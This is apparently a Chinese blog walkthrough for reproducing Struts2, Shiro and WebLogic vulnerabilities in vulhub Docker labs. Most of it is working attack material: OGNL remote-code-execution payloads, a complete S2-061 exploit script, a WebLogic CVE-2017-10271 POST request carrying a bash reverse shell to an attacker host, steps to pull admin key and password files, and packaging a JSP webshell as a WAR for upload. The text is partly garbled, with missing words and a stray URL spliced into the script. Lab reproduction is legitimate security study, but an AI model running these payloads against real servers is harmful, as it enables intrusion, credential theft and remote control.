vulhub靶场框架漏洞复现手册(strusts2\shiro\weblogic

文章目录
前言
一、远程代码执行
s2-029
s2-061
s2-001
二、shiro反序列化漏洞复现
总结
前言
工具+手工复现靶场下的框架漏洞,包括远程代码执行(2-029,s2-061,s2-001),shiro反序列化漏洞(CVE-2016-4437),反序列化漏洞(CVE-2017-10271,CVE-2018-2628,CVE-2018-2894,CVE-2020-14882,ssrf,weak-) 。持续更新中...
一、远程代码执行
漏洞介绍:是项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站
漏洞特征:
1. 查看被测应用系统的源码,URL接口地址以 “.” “.do” 结尾或地址中包含“!”符号,或者在被测应用的服务器上查看应用所在目录/WEB-INF/lib/下的jar文件,若存在-core-
2.*.**.jar或xwork-core-2.*.**.jar格式的jar文件,则需检测是否存在远程代码执行漏洞 。
s2-029
1.拉取漏洞环境镜像
docker pull medicean/vulapps:s_struts2_s2-029
2. 启动漏洞环境
docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-029
3.测试靶场
访问kali ip:8080,出现如下代表靶场搭建成功
4.使用工具利用漏洞
(1)Liqun验证
验证结果:存在漏洞
命令执行
工具链接:
提取码:8lk3
(2) 工具
命令执行
工具链接:
提取码:8lk3
(3)漏洞检查工具
命令执行
工具链接:
提取码:8lk3
5.手工利用漏洞
(1)刷新页面抓包,发送到 。如果url的位置只有ip:8080,就手动在后面添加/.?= 。之后在=后拼接poc
#POC(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))
返回包爆出了用户权限
s2-061
1. 进入目录用拉取镜像启动环境 。如果没有启动成功是因为上一个开启的靶场占用了8080端口 。重启一下就行 。
重启docker命令:systemctl restart docker开启环境命令:docker-compose up -d
2.访问靶场
ip:8080
3.验证漏洞
发现使用工具验证不到漏洞存在,所以按照教程手工验证
(1) 在url后面拼接一条简单语句进行测试
?id=%{ 'test' + (2000 + 20).()}
查看页面源码发现被执行了,漏洞是存在的
4.漏洞利用
(1) 方法一:使用脚本利用漏洞
① -061.py
#struts2-061.py#encoding=utf-8import requestsimport sysfrom lxml import etreedef exp(url, cmd):payload = "%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27" + cmd + "%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d"tturl = url + "/?id=" + payloadr = requests.get(tturl)page = r.text#etree=html.etreepage = etree.HTML(page)data = http://www.kingceram.com/post/page.xpath('//a[@id]/@id')print(data[0])if __name__ == '__main__':print('+------------------------------------------------------------+')print('+ EXP: python struts2-061-poc.py http://1.1.1.1:8081 id+')print('+ VER: Struts 2.0.0-2.5.25+')print('+------------------------------------------------------------+')print('+ S2-061 RCE && CVE-2020-17530+')print('+------------------------------------------------------------+')if len(sys.argv) != 3:print("[+]ussage: http://ip:port command")print("[+]============================================================")sys.exit()url = sys.argv[1]cmd = sys.argv[2]exp(url, cmd)
② 在脚本目录打开cmd,运行脚本
python struts2-061.py url cmd
脚本链接:
提取码:8lk3
(2)方法二:在url上构造

?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}
② 查看页面源代码发现命令被执行了
s2-001 启动环境 - up -d访问靶?。橹な欠翊嬖诖胫葱?。输入代码%{123},返回的是参数值123,说明漏洞存在 。
3.构造poc , 填到框
(1)执行语句
Poc:%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
(2)获取web路径
Poc:%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath("/")),#response.flush(),#response.close()}
(3)查看权限
Poc:%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
(4) 在执行任意命令时只需要将上面poc的替换
二、shiro反序列化漏洞 CVE-2016-4437
1. 开启靶场
进入到靶场目录下使用命令:- up -d --build
如果添加了--build参数出错(如下)的话就把它删掉 。猜测只有第一次开启这个靶场的时候才需要--build,已经开过就不用--build参数
出现done则说明靶场开启成功
2. 测试靶场
在win10火狐输入kalli ip+8080测试靶场是否开启成功
3.查看返回包验证是否存在shiro漏洞
使用admin/登录,勾选 me,抓包 。发送到,查看回显包有无=字段 。如果有则存在shiro漏洞
4. 用工具检验漏洞
工具:liqun
5. 反弹shell
(1) 在kali新开一个终端监听端口 。命令:nc -lvvp 端口号
(2) 使用工具反弹shell
(3) 在终端执行命令
(4) 在工具执行命令
总结:想尝试使用来监听端口接收反弹的shell,但是工具里面显示执行成功的终端一直接收不到反弹的shell 。所以还是用kali方便~
三、反序列化漏洞
tips:常用端口是7001
1. 进入目录开启漏洞环境
#cd vulhub/welogic/weak_password#docker-compode up -d
2. 查看端口映射信息,发现映射到了7001
docker ps
3. 访问靶场
ip:7001
4. 使用工具检测漏洞
(1) liqun

vulhub靶场框架漏洞复现手册(strusts2\shiro\weblogic

文章插图
(2) java反序列化漏洞利用工具
工具链接:
提取码:8lk3
5. 手工利用漏洞
(1) 访问//login/.jsp
转到后台登录页面
(2) 获取用户和密码的加密密钥和密文
(3) 获取密钥
密码使用AES(老版本3DES)加密 , 对称加密可解密 , 只需要找到用户的密文与加密时的密钥即可 。这两个文件均位于下,名为.dat和.xml 。储存密钥的文件:.dat
访问::7001//hello/file.jsp?path=/.dat抓包重发,返回包中的一串乱码就是密钥 。
(4) 将密钥保存为一个.bat文件便于后续解密
(5) 获取密文
访问:7001/hello/file.jsp?path=/.xml,其中的 的值,即为加密后的管理员密码
(6) 只用工具解密
工具链接:
提取码:8lk3
添加密钥文件时最好使用工具包里的\\.dat文件 。用自己保存的那个会出现错误不知道为啥 。
(7)常用的用户名/密码
6. 后台文件上传
(1) 用刚刚解密出来的用户名和密码登录系统
(2) 上传路径:域结构-部署-安装-上 传文件
(3) 将jsp木马文件压缩 。(冰蝎文件夹下面有各个语言的一句话木马)
压缩为war文件的命令:jar -cvf shell.war shell.jsp
因为war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中 。war包放置到web目录下之后 , 可以自动解压,就相当于发布了简单来说,war包是程序打的包,war包里面包括写的代码编译成的class文件,依赖的包,配置文件,所有的网站页面,包括html,jsp等等 。
(4)部署完成
CVE- 2017-10271
1. 启动靶场环境
docker-compose up -d
2. 查看端口开启情况,发现开启了7001端口
【vulhub靶场框架漏洞复现手册(strusts2\shiro\weblogic】3. 访问靶场路径,kali IP:7001//wls-wsat/1,出现下图说明存在漏洞
4. 用攻击机端口21开启监听
刚开始使用win10作为监听机,但是无法监听到内容 。换成kali就行 。因为靶场和kali相当于处于同一个内网,物理机是作为外网的存在 , 所以win10无法直接监听到内网的端口 。
5.使用bp向靶机发送如下post请求
POC:POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 靶机ip:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 637 /bin/bash-cbash -i >& /dev/tcp/攻击机ip/监听端口 0>&1
6. 发送POC结果
成功接收到反弹shell
简单命令执行:
7. 尝试写一句话木马,将poc拼接到之前的post请求下
POC:servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp
8. 访问靶场ip:7001///test.jsp,写入成功
总结
持续更新中...